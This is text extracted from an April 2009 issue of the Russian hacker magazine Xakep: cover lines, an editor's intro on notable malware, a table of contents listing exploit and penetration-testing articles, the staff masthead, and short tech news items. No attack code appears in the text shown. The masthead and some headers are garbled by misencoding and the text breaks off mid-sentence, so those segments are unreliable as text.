ÛãçèØÃÂ¥ Ã’ØàãáÞÃÂ’ - Xakep Online
ÛãçèØÃÂ¥ Ã’ØàãáÞÃÂ’ - Xakep Online
ÛãçèØÃÂ¥ Ã’ØàãáÞÃÂ’ - Xakep Online
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
ПОЛНЫЙ АНАЛИЗ ПРИВАТНЫХ БАГОВ WORDPRESS СТР. 52<br />
x 04(АПРЕЛЬ)2009 10 ЛУЧШИХ ВИРУСОВ/ ИСТОРИЯ ЗЛА 1999-2009<br />
124<br />
АПРЕЛЬ 04 (124) 2009<br />
ДЕНЬ ГЕЙМЕРА<br />
WWW.GAMER-CITY.RU<br />
СТР. 4<br />
Melissa<br />
PC27 adaptor<br />
7<br />
1<br />
Sasser<br />
Sony rootkit<br />
НАВИГАЦИЯ<br />
БЕЗ GPS<br />
АЛЬТЕРНАТИВНЫЕ<br />
СПОСОБЫ<br />
ОПРЕДЕЛЕНИЯ<br />
КООРДИНАТ<br />
СТР. 26<br />
Loveletter<br />
Slammer<br />
6<br />
ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ<br />
Code red<br />
J3<br />
БАЗУ ДАННЫХ<br />
НЕ СТАЩИТЬ!<br />
НОВЫЙ ПУТЬ<br />
ДЛЯ ЗАЩИТЫ<br />
ДАННЫХ В БД<br />
СТР. 32<br />
5<br />
2<br />
Warezov<br />
10<br />
Nimda<br />
Mebroot<br />
www.xakep.ru<br />
АТАКА<br />
ТВИТТЕРА<br />
КАК СПАМЯТ<br />
TWITTER<br />
СКРИПТАМИ НА<br />
PYTHON’E<br />
СТР. 88<br />
PC27<br />
ЛУЧШИХ<br />
ВИРУСОВ<br />
ИСТОРИЯ ЗЛА<br />
1999-2009<br />
СТР. 20<br />
8<br />
3<br />
Storm<br />
4<br />
9
Intro<br />
Intro<br />
Intro<br />
Intro<br />
Intro<br />
Intro<br />
В 1999 году Девиду Смиту хватило ста строк неискушенного<br />
кода, чтобы устроить мировую эпидемию,<br />
заразив Мелиссой десятки миллионов компьютеров.<br />
И хотя с тех пор все здорово поменялось, степень<br />
проникновения разнообразной малвари едва ли<br />
уменьшилась. Чего стоит хотя бы январский червь<br />
Downadup, который до сих пор наводит страх на<br />
Windows-пользователей. Что уж говорить про разношерстный<br />
приватный софт для обустройства ботнетов<br />
и отжима денег с населения развитых стран.<br />
В этом месяце мы решили вспомнить, как развивалась<br />
публичная вирусная индустрия и составили<br />
своеобразный рейтинг самых популярных малварей<br />
за последние 10 лет.<br />
nikitoz, гл. ред. Х<br />
P.S. Наши друзья-геймеры из игровых журналов<br />
Gameland решили замесить крутую акцию под кодовым<br />
названием «День Геймера». Если интересно —<br />
читай подробности на странице 4.
CONTENT<br />
04(124)<br />
Nimda<br />
004 MEGANEWS<br />
Все новое за последний месяц<br />
FERRUM<br />
016 Nовый Wi-Fi<br />
Тест Draft N Wi-Fi роутеров<br />
PC_ZONE<br />
020 10 ЗЛО-ВИРУСОВ<br />
Самая нашумевшая малварь<br />
за последние 10 лет<br />
026 НАВИГАЦИЯ БЕЗ GPS<br />
Как определить свои координаты<br />
по IP, GSM/UMTS и Wi-Fi<br />
030 КОГДА ТЫ СТАНЕШЬ СЛЕПЫМ<br />
Это только сейчас кажется,<br />
что здоровье будет всегда<br />
032 БАЗУ ДАННЫХ НЕ СТАЩИТЬ!<br />
Правильные способы защитить<br />
данные в таблицах БД<br />
ВЗЛОМ<br />
038 EASY HACK<br />
Хакерские секреты простых вещей<br />
042 ОБЗОР ЭКСПЛОЙТОВ<br />
Свежие уязвимости от Сквоза<br />
048 МЕРЯЕМ УЯЗВИМОСТИ<br />
Классификаторы и метрики<br />
компьютерных брешей<br />
052 WORDPRESS:<br />
ТЕСТ НА ПРОНИКНОВЕНИЕ<br />
Полный анализ малоизвестных<br />
уязвимостей раскрученного движка<br />
058 ИМПЛАНТАЦИЯ CISCO<br />
Модифицирование прошивки маршрутизатора<br />
064 IPHONE ТЕРМИНАТОР<br />
Создаем автоматическое средство<br />
аудита Apple iPhone<br />
070 Х-TOOLS<br />
Программы для взлома<br />
СЦЕНА<br />
072 МЕДИА-МАГНАТЫ<br />
ПРОТИВ BITTORRENT<br />
Судебный процесс по делу The Pirate Bay<br />
ЮНИКСОЙД<br />
080 ОБРЕЧЕННЫЕ НА УСПЕХ<br />
Обзор самых интересных проектов,<br />
представленных на UNIX-конференциях<br />
084 ВСТРАИВАЕМ ПИНГВИНА<br />
Учимся ставить Linux на микроконтроллеры<br />
КОДИНГ<br />
088 АТАКА НА МИСТЕРА ТВИТТЕРА<br />
Пишем скрипты для спама Twitter на Python’e<br />
094 ПИТОН ДЛЯ МАТЕРЫХ<br />
ХАРДКОРЩИКОВ<br />
Куем ассемблерные вставки<br />
в Python с помощью кошерного CorePy<br />
ФРИКИНГ<br />
098 ИНФРАКРАСНАЯ ЛЕНЬ<br />
Управлять с пульта можно<br />
не только телевизором<br />
102 ГРОМ И МОЛНИИ<br />
Эксперимент по передаче<br />
энергии на расстояние<br />
SYN/ACK<br />
106 ЗА СЕМЬЮ ПЕЧАТЯМИ<br />
Win2k8: средства и инструменты безопасности<br />
110 УЗНИК ТАЙНОЙ ТЮРЬМЫ<br />
Используем FreeBSD Jail<br />
для изолирования небезопасных сервисов<br />
115 ЗВЕЗДНОЕ ПОПУРРИ<br />
Фокусничаем с IP-PBX Asterisk<br />
ЮНИТЫ<br />
120 ДЕНЬ ЗАВИСИМОСТИ (2009, VHSRIP)<br />
Полный ][-гайд по основным аддикциям<br />
124 FAQ UNITED<br />
Большой FAQ<br />
127 ДИСКО<br />
8,5 Гб всякой всячины<br />
128 WWW2<br />
Удобные web-сервисы
Mebroot<br />
020<br />
БАЗА<br />
ДАННЫХ<br />
1C<br />
Прав<br />
доступа нет<br />
Запрос<br />
данных<br />
Возврат пустого<br />
значения<br />
БАЗА<br />
ДАННЫХ<br />
CRYPTO<br />
Возврат пустого<br />
значения<br />
026 Злоумышленник<br />
032<br />
BID<br />
048<br />
Secunia<br />
OSVDB<br />
088<br />
ISS X-Force<br />
/ÐÅÄÀÊÖÈЯ<br />
>Ãëàâíûé ðåäàêòîð<br />
Íèêèòà «nikitozz» Êèñëèöèí<br />
(nikitoz@real.xakep.ru)<br />
>Âûïóñêàþùèé ðåäàêòîð<br />
Николай«gorl»Андреев<br />
(gorlum@real.xakep.ru)<br />
>Ðåäàêòîðû ðóáðèê<br />
ÂÇËÎÌ<br />
Дмитрий«Forb» Докучаев<br />
(forb@real.xakep.ru)<br />
PC_ZONE и UNITS<br />
Степан «step» Ильин<br />
(step@real.xakep.ru)<br />
UNIXOID, SYN\ACK и PSYCHO<br />
Àíäðåé «Andrushock» Ìàòâååâ<br />
(andrushock@real.xakep.ru)<br />
ÊÎÄÈÍÃ<br />
Александр «Dr. Klouniz» Лозовский<br />
(alexander@real.xakep.ru)<br />
ФРИКИНГ<br />
Сергей «Dlinyj»Долин<br />
(dlinyj@real.xakep.ru)<br />
>Ëèòåðàòóðíûй ðåäàêòîð<br />
Дмитрий Лященко<br />
(lyashchenko@gameland.ru)<br />
/DVD<br />
>Выпускающий редактор<br />
Степан «Step» Ильин<br />
(step@real.xakep.ru)<br />
>Редактор Unix-раздела<br />
Антон «Ant» Жуков<br />
>Редактор тематических подборок<br />
Андрей Комаров<br />
(komarov@gameland.ru)<br />
>Монтаж видео<br />
Максим Трубицын<br />
/ART<br />
>Àðò-äèðåêòîð<br />
Евгений Новиков<br />
(novikov.e@gameland.ru)<br />
>Верстальщик<br />
Вера Светлых<br />
(svetlyh@gameland.ru)<br />
>Фото<br />
Иван Скориков<br />
/XAKEP.RU<br />
>Ðåäàêòîð ñàéòà<br />
Ëåîíèä Áîãîëþáîâ<br />
(xa@real.xakep.ru)<br />
/ÐÅÊËÀÌÀ<br />
/ Тел.: (495) 935-7034, факс: (495) 780-8824<br />
>Директор группы GAMES & DIGITAL<br />
Евгения Горячева (goryacheva@gameland.<br />
ru)<br />
>Менеджеры<br />
Ольга Емельянцева<br />
Мария Нестерова<br />
Мария Николаенко<br />
Марина Румянцева<br />
Максим Соболев<br />
>Администратор<br />
Мария Бушева<br />
>Директор корпоративной группы<br />
(работа с рекламными агентствами)<br />
Лидия Стрекнева (strekneva@gameland.ru)<br />
>Старший менеджер<br />
Светлана Пинчук<br />
>Менеджеры<br />
Надежда Гончарова<br />
Наталья Мистюкова<br />
>Старший трафик-менеджер<br />
Марья Алексеева (alekseeva@gameland.ru)<br />
/PUBLISHING<br />
>Èçäàòåëи<br />
Рубен Кочарян<br />
(noah@gameland.ru)<br />
>Ó÷ðåäèòåëü<br />
ÎÎÎ «Ãåéì Ëýíä»<br />
>Äèðåêòîð<br />
Äìèòðèé Àãàðóíîâ<br />
(dmitri@gameland.ru)<br />
>Óïðàâëÿþùèé äèðåêòîð<br />
Äàâèä Øîñòàê<br />
(shostak@gameland.ru)<br />
>Äèðåêòîð ïî ðàçâèòèþ<br />
Ïàøà Ðîìàíîâñêèé<br />
(romanovski@gameland.ru)<br />
>Äèðåêòîð ïî ïåðñîíàëó<br />
Ìèõàèë Ñòåïàíîâ<br />
(stepanovm@gameland.ru)<br />
>Ôèíàíñîâûé äèðåêòîð<br />
Леонова Анастасия<br />
(leonova@gameland.ru)<br />
>Редакционный директор<br />
Дмитрий Ладыженский<br />
(ladyzhenskiy@gameland.ru)<br />
>PR-менеджер<br />
Наталья Литвиновская<br />
(litvinovskaya@gameland.ru)<br />
/ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ<br />
>Äèðåêòîð îòäåëà<br />
äèñòðèáóöèè<br />
Àíäðåé Ñòåïàíîâ<br />
(andrey@gameland.ru)<br />
>Ñâÿçü ñ ðåãèîíàìè<br />
Òàòüÿíà Êîøåëåâà<br />
(kosheleva@gameland.ru )<br />
>Подписка<br />
Марина Гончарова<br />
(goncharova@gameland.ru)<br />
òåë.: (495) 935.70.34<br />
ôàêñ: (495) 780.88.24<br />
> Ãîðячая ëèíèя ïî ïîäïèñêå<br />
òåë.: 8 (800) 200.3.999<br />
Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè<br />
> Äëя писем<br />
101000, Ìîñêâà,<br />
Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð<br />
Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå<br />
Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,<br />
òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ<br />
êîììóíèêàöèé ÏÈ ß 77-11802 îò 14<br />
ôåâðàëÿ 2002 ã.<br />
Îòïå÷àòàíî â òèïîãðàôèè<br />
«Lietuvas Rivas», Литва.<br />
Òèðàæ 100 000 ýêçåìïëÿðîâ.<br />
Öåíà äîãîâîðíàÿ.<br />
Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî<br />
ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ<br />
óâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðå<br />
ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê<br />
ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå<br />
äàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõ<br />
öåëÿõ, ìîãóò áûòü ïðèâëå÷åíû ê<br />
îòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ<br />
îòâåòñòâåííîñòè íå íåñåò.<br />
Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà<br />
ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â<br />
íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ<br />
áåç ñïðîñà — ïðåñëåäóåì.<br />
Объединенная медиакомпания Gameland<br />
предлагает партнерам лицензии и права на<br />
использование контента журналов, дисков,<br />
сайтов и телеканала Gameland TV. По всем<br />
вопросам, связанным с лицензированием<br />
и синдицированием обращаться по адресу<br />
content@gameland.ru.
meganews<br />
PC27<br />
J3<br />
J3<br />
PC27<br />
МАРИЯ «MIFRILL» НЕФЕДОВА / MIFRILL@R EAL.XAKEP.RU /<br />
ОБО ВСЕМ ЗА ПОСЛЕДНИЙ МЕСЯЦ<br />
Новые дисплеи<br />
от Samsung<br />
Этой весной компания Samsung порадует нас новой<br />
линейкой мониторов. В 50 серию войдут девять широкоформатников<br />
с диагоналями 20’’, 21,5’’ и 23’’. Технические<br />
характеристики таковы: время отклика 2 мс для всех<br />
моделей, кроме трех мониторов с аналоговым интерфейсом,<br />
они будут немного медленнее — 5 мс; динамическая<br />
контрастность 50.000:1; яркость 300 кд/м2. Разрешение<br />
тоже порадует: 1200х900 — у трех младших моделей<br />
серии и 1920х1080 — у остальных. Благодаря технологии<br />
MagicBright3, настроить монитор под свои нужды не<br />
составит труда, — уже имеется шесть готовых профилей:<br />
«Текст», «Интернет», «Спорт», «Кино», «Игры», а также<br />
наличествует пользовательский режим. Дизайн серии<br />
отличается строгими линями, четкими углами, и даже<br />
кнопки управления выполнены в гладком сенсорном<br />
варианте. За счет сочетания угольно-черной рамки с корпусом<br />
цвета «черный гранат», 50 серия выглядит интересно<br />
и необычно. Увидеть ее своими глазами можно будет<br />
уже в апреле-мае, когда новинки доберутся до прилавков<br />
магазинов.<br />
День геймера<br />
(game)land и «Эльдорадо» дарят всем<br />
российским геймерам профессиональный<br />
праздник — День Геймера! 25 и 26 апреля<br />
в пяти магазинах «Эльдорадо» в городе<br />
Москве можно будет с размахом отметить<br />
событие — ознакомиться с игровыми новинками,<br />
принять участие в различных турнирах<br />
по хитовым играм, приобрести игровую<br />
продукцию по специальным ценам и просто<br />
отлично провести время. Все подробности<br />
на сайте www.gamer-city.ru! Не пропусти!<br />
В каждом из магазинов создана игровая<br />
зона. В демонстрационной части — новейшие<br />
проекты для РС и Xbox 360, в турнирной<br />
— поединки по самым популярным игровым<br />
дисциплинам, на сцене — зажигательные<br />
ведущий и ди-джей, которые будут поддерживать<br />
и разогревать атмосферу праздника.<br />
Помимо этого — веселые конкурсы, море<br />
призов, подарков и дружелюбная атмосфера.<br />
Приняв участие в турнире, все желающие<br />
004<br />
ПО ОФИЦИАЛЬНОЙ СТАТИСТИКЕ APPLE, IPHONE<br />
OS УЖЕ УСТАНОВЛЕНА НА 30 МИЛЛИОНАХ<br />
МОБИЛЬНЫХ УСТРОЙСТВ.<br />
становятся участниками Континентальной<br />
Лиги — на официальном сайте будут<br />
публиковаться таблицы с рейтингами лучших<br />
игроков. Стань героем своей страны! Турниры<br />
будут проводиться по следующим дисциплинам<br />
- каждый сможет найти себе достойных<br />
соперников:<br />
•F.E.A.R. 2: Project Origin(PC)<br />
•Call of Duty: World at War(PC)<br />
•GRID (PC)<br />
•Gears of War 2 (Xbox 360)<br />
•Mortal Kombat vs. DC Universe (Xbox 360)<br />
Задать вопросы о мероприятии можно на<br />
форуме www.gameland.ru в специально<br />
созданном разделе FAQ.<br />
АДРЕСА МАГАЗИНОВ<br />
ПРОВЕДЕНИЯ АКЦИИ:<br />
•ЛЮБЛИНСКАЯ УЛ., Д. 153 , ТК Л-153<br />
•РЯЗАНСКИЙ ПР. 2, ТК ГОРОД<br />
•БУТАКОВА Д.2, ТК ГРАНД<br />
•БАГРАТИОНОВСКИЙ ПРОЕЗД Д.7,<br />
ТК ГОРБУШКИН ДВОР<br />
•КИРОВОГРАДСКАЯ УЛ., Д.13, ТК КАРЕНФОР<br />
XÀÊÅÐ 04 /124/ 09
PC27<br />
>> meganews<br />
Налог<br />
на контрафакт<br />
PC27<br />
Есть на нашем голубом шарике совсем небольшое пятнышко — остров<br />
Мэн. Это местечко во всем мире известно как оффшорная зона и уникально<br />
тем, что, являясь коронным владением Великобритании, не входит<br />
ни в состав самой Великобритании, ни в состав ЕС. И хотя живет там<br />
всего 76.000 человек, эти люди довольно активно пользуются интернетом<br />
(на острове есть целых три провайдера). Разумеется, жители Мэна,<br />
как и все прогрессивное человечество, пользуются файлообменниками,<br />
пиринговыми сетями, а стало быть, качают всяческий контрафакт. И пока<br />
в других странах юзеров за это показательно судят и штрафуют, советник<br />
правительства по электронному бизнесу Рон Берри предложил совершенно<br />
иное решение — на острове введен смешной налог в размере<br />
одного фунта стерлингов, оплатить который можно даже с мобильного<br />
телефона. Из собранных с населения средств будут производиться официальные<br />
отчисления музыкантам и звукозаписывающим компаниям.<br />
Кому именно и сколько платить, помогут определить провайдеры острова,<br />
уже установившие у себя специальное оборудование, при помощи<br />
которого можно будет узнать, кто и какую конкретно музыку скачивал.<br />
Интересно, когда до подобных схем додумаются не только на Мэне?..<br />
Цветной e-ink<br />
Вот и появилось, наконец, в продаже первое устройство для чтения<br />
электронных книг с цветным дисплеем. Пионер в сфере цветных ридеров<br />
на базе электронной бумаги (что примечательно, используются не<br />
разработки компании E-ink, а собственная технология) носит имя FLEPia<br />
и стал детищем Fujitsu Frontech Limited и Fujitsu Laboratories Limited.<br />
Экран девайса с диагональю 8 " и разрешением 768х1024 способен<br />
отображать 260.000 цветов. Однако радоваться рано — при работе «на<br />
полную мощность» устройству потребуется 8 секунд для прорисовки<br />
страницы, что переходит все разумные границы. При сокращении<br />
количества цветов до 4096 жутковатая цифра уменьшается до 5 секунд, а<br />
при 64 — достигает более-менее приемлемого показателя в 1.8 секунды.<br />
Остальные характеристики тоже довольно необычны для ридеров:<br />
Windows CE5.0 ОС, тачскрин, поддержка Wi-Fi IEEE802.11b/g и Bluetooth<br />
Ver2.0+EDR, подключение к ПК через USB, поддержка SD-карт до 4 Гб.<br />
Аккумулятор, разумеется, менее «живуч» — выдерживает смену страниц<br />
2400 раз в 64-цветном режиме (для читалок в градациях серого этот<br />
показатель обычно равен 7000-9000 «перелистываний»). Цена девайса<br />
составляет $1015, и доступен он пока только в Японии. Остальным<br />
странам, традиционно, придется подождать. Притом — лучше ждать не<br />
FLEPia, а дальнейшего развития прогресса :).<br />
Русский магазин HP<br />
ИЗ-ЗА КРИЗИСА ДОЛЯ ПИРАТСКИХ<br />
DVD- И CD-ДИСКОВ В ОБЩЕМ ОБЪЕМЕ<br />
ПРОДАЖ УВЕЛИЧИЛАСЬ НА 5%.<br />
В начале марта в Москве, под<br />
крышей торгового комплекса<br />
«Горбушкин двор», открылся<br />
первый в России фирменный<br />
магазин компании HP. Выбор<br />
места вряд ли кого-то удивит,<br />
— «Горбушкин двор» один из<br />
крупнейших и наиболее посещаемых<br />
«электронных развалов»<br />
столицы.<br />
Магазин расположился в секторе<br />
«Ноутбуки», но, несмотря<br />
на это, представлены в нем не<br />
только ноуты, но и весь спектр<br />
продукции компании — от десктопов<br />
до устройств печати.<br />
Бесспорными плюсами официального<br />
магазина будут возможность<br />
приобрести товар с<br />
дополнительными гарантиями<br />
подлинности и качества, протестировать<br />
интересующие продукты<br />
или ознакомиться с «эксклюзивными»<br />
и редкими моделями,<br />
а также проконсультироваться<br />
с ведущими специалистами,<br />
получив свежую и достоверную<br />
информацию.<br />
Дирекция HP делает обнадеживающие<br />
прогнозы — если проект<br />
окажется выгоден не только<br />
с имиджевых позиций, но и<br />
коммерчески, в других крупных<br />
городах тоже появятся официальные<br />
магазины.<br />
006<br />
XÀÊÅÐ 04 /124/ 09
PC27<br />
>> meganews<br />
Аварийная<br />
кнопка от Gmail<br />
J3<br />
Сколько раз за свою жизнь,<br />
написав и отправив e-mail, ты<br />
жалел о содеянном? Все мы порой<br />
можем наговорить лишнего,<br />
банально ошибиться адресом<br />
или забыть упомянуть что-то<br />
важное... И, разумеется, осознаем<br />
это только после нажатия<br />
кнопки «Send» (закон подлости<br />
во всей красе!). Но, оказывается,<br />
от этого страдают не только<br />
юзеры, но и сами разработчики.<br />
Во всяком случае, разработчики<br />
Google точно. Ведь это их<br />
усилиями у Gmail появилась<br />
новая функция — «undo sent»,<br />
то есть «отменить отправку».<br />
Такое предложение теперь<br />
появляется после нажатия<br />
кнопки «Отправить». Система<br />
в течение 5 секунд придерживает<br />
письмо, давая нам шанс<br />
передумать. Определенно — не<br />
самая бесполезная опция,<br />
правда, 5-секундная задержка<br />
это, все же, маловато.<br />
СОГЛАСНО СТАТИСТИКЕ JIWIRE,<br />
РОССИЯ НАХОДИТСЯ НА 8 МЕСТЕ В<br />
МИРЕ ПО КОЛИЧЕСТВУ WI-FI ТОЧЕК.<br />
Халява, сэр!<br />
На дворе мировой финансовый<br />
кризис, но, похоже, британцев он<br />
мало волнует. Недавно у одного из<br />
крупнейших британских поставщиков<br />
книг для Amazon.com<br />
истекла аренда склада (видимо,<br />
«внезапно», как оно всегда бывает).<br />
Товар там лежал не слишком<br />
ходовой, и хозяева попросту<br />
от него отказались. В итоге, на<br />
руках у владельцев помещения<br />
остался огромный ангар, забитый<br />
миллионами букинистических<br />
книг, которые нужно было как-то,<br />
куда-то вывозить. Возвращать их в<br />
издательства вышло бы слишком<br />
накладно, и решено было сделать<br />
ход конем. Территорию Bristol<br />
Bookbarn объявили территорией<br />
халявы, открыв двери всем<br />
желающим. Люди приходили и<br />
приезжали к складу, чтобы покопаться<br />
в завалах и забрать столько<br />
книг, сколько смогут унести (а<br />
некоторым удавалось уносить до<br />
150 томов за раз). Склад «зачистили»<br />
на ура, книги отправились<br />
в добрые руки, и справедливость<br />
восторжествовала. Но непонятно<br />
другое — что подвигло Amazon.<br />
com на такую щедрость, и с каких<br />
пор крупнейший е-шоп разбрасывается<br />
товаром и так относится к<br />
книгам.<br />
IE 8. Релиз<br />
Компания Microsoft, наконец-то,<br />
выпустила финальную версию<br />
Internet Explorer 8. Произошло это<br />
19 марта, а уже 20-го браузер первый<br />
раз сломали :). На конференции<br />
PWN2OWN, организованной<br />
компанией 3Com, устроили соответствующий<br />
конкурс. В ходе него<br />
немец под ником Nils, используя<br />
собственный эксплойт под IE7,<br />
без проблем проник на машину с<br />
последней сборкой Windows 7 и<br />
IE8 и похитил оттуда указанный<br />
организаторами файл. На все про<br />
все у парня ушло порядка пяти<br />
минут. За взлом Nils’у торжественно<br />
вручили 5000 долларов и<br />
новенький Sony Vaio, а детальное<br />
описание хака и эксплойт отправились<br />
прямиком в Microsoft<br />
Security Research Center.<br />
В целом, новая версия браузера<br />
не несет в себе ничего революционного,<br />
хотя IE8 определенно<br />
стабильнее своих предшественников.<br />
Теперь браузер умеет<br />
закрывать отдельные зависшие<br />
вкладки (по образу и подобию<br />
Google Chrom), обладает функцией<br />
анонимного серфинга InPrivate<br />
и оснащен защитой от фишинга<br />
SmartScreen.<br />
008<br />
XÀÊÅÐ 04 /124/ 09
meganews<br />
В Пентагоне<br />
тоже любят sci-fi<br />
Кто бы мог подумать, что образное<br />
выражение «стрельба<br />
из пушки по воробьям» станет<br />
реальностью. Стрелять, правда,<br />
собираются не по воробьям, а по<br />
комарам, и пушка будет лазерная.<br />
Такая гениальная мысль<br />
пришла в голову американским<br />
ученым, во времена холодной<br />
войны работавшим над созданием<br />
лазерной ПРО. Холодная<br />
война давно миновала, ценные<br />
мощности простаивают без дела,<br />
а от них, оказывается, может быть<br />
и совсем другой прок. Установки<br />
можно переориентировать на<br />
борьбу с насекомыми — заставить<br />
сжигать полчища кровососов,<br />
внеся большой вклад в борьбу с<br />
малярией и другими болезнями,<br />
переносимыми комарами. Стоит<br />
заметить, что тут не обошлось без<br />
Билла Гейтса, который вложил в<br />
научные проекты, направленные<br />
на борьбу с малярией, миллионы,<br />
и совсем недавно пугал комарами<br />
из банки слушателей на<br />
конференции TED. Теперь пушки,<br />
стоящие вблизи городов, планируют<br />
«научить» различать писк<br />
самцов и самок комара, а также<br />
отличать его от звуков, издаваемых<br />
другими насекомыми. Все<br />
поклонники фантастики ликуют,<br />
а параноики запасают тушенку и<br />
боеприпасы.<br />
PC27<br />
Больше нетбуков,<br />
хороших и разных<br />
В ходе CeBIT 2009 компания Gigabyte Technology продемонстрировала<br />
публике ряд нетбуков, в число которых затесались любопытные модели —<br />
Touch Note M1028 и Booktop M1022. Первый нетбук интересен своим 10.1’’<br />
сенсорным экраном — что, по сути, превращает его в гибрид планшетного<br />
ПК с ноутом. Экран крепится к корпусу специальным шарниром, за счет которого<br />
может поворачиваться, и имеет разрешение 1024x600 или 1366x768<br />
точек. Производитель также сообщает, что девайс поддерживает Wi-Fi,<br />
Bluetooth и оснащен слотом для Express Card. Остальные характеристики<br />
пока не разглашаются. Вторая модель — Booktop M1022 — будет комплектоваться<br />
док-станцией, с которой нетбук сможет подзаряжаться и легким<br />
движением руки превращаться в десктоп. Подробных характеристик для<br />
этой модели тоже пока нет, известна лишь диагональ экрана — 10.1’’ и тот<br />
факт, что устройство будет поддерживать стандарт 3.5G, благодаря модулю<br />
HSDPA на борту.<br />
Киборги<br />
нашего времени<br />
Наука и прогресс пока не дошли до того,<br />
чтобы спокойно имплантировать в тело<br />
человека разные интересные штуки<br />
(кардиостимуляторы не в счет!). Ну, а раз<br />
полного «Ghost in the shell» пока не видать,<br />
приходится придумывать что-то попроще<br />
и своими силами. Финский программер<br />
Джерри Ялава после автоаварии лишился<br />
пальца на руке, но унывал недолго. Получив<br />
протез, он самостоятельно оснастил его<br />
встроенной флешкой на 2 Гб. Теперь, чтобы<br />
воспользоваться протезом не по прямому<br />
назначению, достаточно сдвинуть ноготь<br />
искусственного пальца — и можно вставлять<br />
флешку в USB-порт. На достигнутом Ялава<br />
останавливать не собирается, уже планируя<br />
версию 2.0 — со съемной фалангой и большей<br />
емкостью накопителя.<br />
010<br />
XÀÊÅÐ 04 /124/ 09
PC27<br />
>> meganews<br />
PANDA SECURITY СООБЩАЕТ: БОЛЕЕ 10 МЛН. КОМПЬЮТЕРОВ В МИРЕ<br />
ЗАРАЖЕНЫ ВРЕДОНОСНЫМ ПО, ОРИЕНТИРОВАННЫМ НА КРАЖУ<br />
ФИНАНСОВОЙ ИНФОРМАЦИИ.<br />
Ноутбук с характером<br />
суперкара<br />
IBM + SUN = ?<br />
Интересную информацию распространило издание The Wall Street Journal.<br />
Ссылаясь на конфиденциальный источник, журнал сообщил, что корпорация IBM<br />
ведет переговоры о покупке компании Sun Microsystems, пользуясь сложившимися<br />
условиями финансового кризиса. Более того, источник утверждает, что сделка может<br />
состояться совсем скоро и называет минимальную сумму, фигурирующую в переговорах<br />
— 6.5 млрд. долларов. Если информация подтвердится, то это приобретение<br />
станет крупнейшим за всю историю IBM и поможет ей укрепить свое положение на<br />
рынке в нынешнее, не слишком благополучное, время.<br />
Крупные компьютерные выставки — это всегда множество<br />
новостей и интересных новинок, и прошедшая в Ганновере<br />
CeBIT 2009 не стала исключением. Компания Asus<br />
презентовала на выставке ноутбук Asus-Lamborghini VX5, на<br />
создание которого инженеров Asus вдохновил автомобиль<br />
Lamborghini Reventon. Младшего брата шикарного авто отличает<br />
не только футуристический и оригинальный дизайн,<br />
но и очень внушительные характеристики. «Под капотом»<br />
ноутбука расположатся процессор Core2 Quad, 4 Гб ОЗУ и<br />
SSD-накопитель объемом 1 терабайт. Да-да, это не опечатка,<br />
Vx5 будет самым «вместительным» ноутбуком в мире,<br />
большего накопителя пока нет ни у кого. Прибавим к этому<br />
16’’ экран с поддержкой Full-HD, дискретную видеокарту<br />
NVIDIA GeForce GT 130M с 1 Гб GDDR3 VRAM, и оптический<br />
комбо-привод с поддержкой Blu-ray. Если тебе все еще<br />
недостаточно мощностей, то заметим, что ноутбук может<br />
работать в режиме TwinTurbo, по сути, разгоняющем ЦП и<br />
ГП. Одним словом, ценителям стильных и мощных ноутбуков<br />
эта модель настоятельно рекомендуется.<br />
Окна,<br />
но не Windows<br />
Свой вклад в приближение технического<br />
прогресса к простым людям внесла<br />
компания Phillips, представив работающий<br />
прототип окна с OLED-подсветкой.<br />
Специалисты исследовательского подразделения<br />
Phillips не один год трудились<br />
над созданием прозрачных органических<br />
светодиодов (OLED), которые<br />
можно было бы запихнуть между слоями<br />
пластика или стекла, создав обычное на<br />
первый взгляд окно, способное в темное<br />
время суток излучать свет. До появления<br />
технологии OLED это было невозможно,<br />
но сейчас дело дошло уже до работающих<br />
образцов. Теперь основные проблемы<br />
заключаются в том, что массовое производство<br />
слишком дорого, для создания<br />
готовых окон требуется «чистая комната»,<br />
да и цена готовых продуктов выходит за<br />
разумные пределы. Траблы планируют<br />
решить уже в течение ближайших лет,<br />
обеспечив человечество новым, оригинальным<br />
источником света.<br />
012<br />
ПО ДАННЫМ КОМПАНИИ SECUNIA, В FIREFOX БЫЛО<br />
ОБНАРУЖЕНО 115 УЯЗВИМОСТЕЙ, ЧТО В 4 РАЗА<br />
БОЛЬШЕ, ЧЕМ ЛЮБОМ ДРУГОМ БРАУЗЕРЕ.<br />
XÀÊÅÐ 04 /124/ 09
meganews<br />
Облава на корсаров<br />
Никто, в общем-то, не сомневался, что пираты тоже оценят новые<br />
возможности Blu-ray дисков, но в России задержали партию такого<br />
контрафакта впервые. Отличилась, конечно, Москва, где сотрудники<br />
ГУВД изъяли с двух складов более миллиона подделок, примерная<br />
стоимость которых оценивается в 100 млн. рублей. Что интересно,<br />
пираты, оказывается, используют мощности Blu-ray как-то не<br />
слишком рационально. В основном на дисках записаны «экранки»<br />
последних новинок киноиндустрии в формате DVD-видео, или вообще<br />
в .avi. Разумеется, посмотреть такие диски на Blu-ray аппаратуре<br />
не выйдет, только на компьютере. Однако розничная стоимость<br />
такого диска составляла порядка 1000 рублей, учитывая, что лицензионный<br />
Blu-ray диск стоит 1500 деревянных. Видимо, тяга к халяве<br />
и сборникам «100 в 1» в России неискоренимы.<br />
83% САЙТОВ ИМЕЮТ<br />
КРИТИЧЕСКИЕ УЯЗВИМОСТИ.<br />
Окукливаемся<br />
Тема британских ученых, кажется,<br />
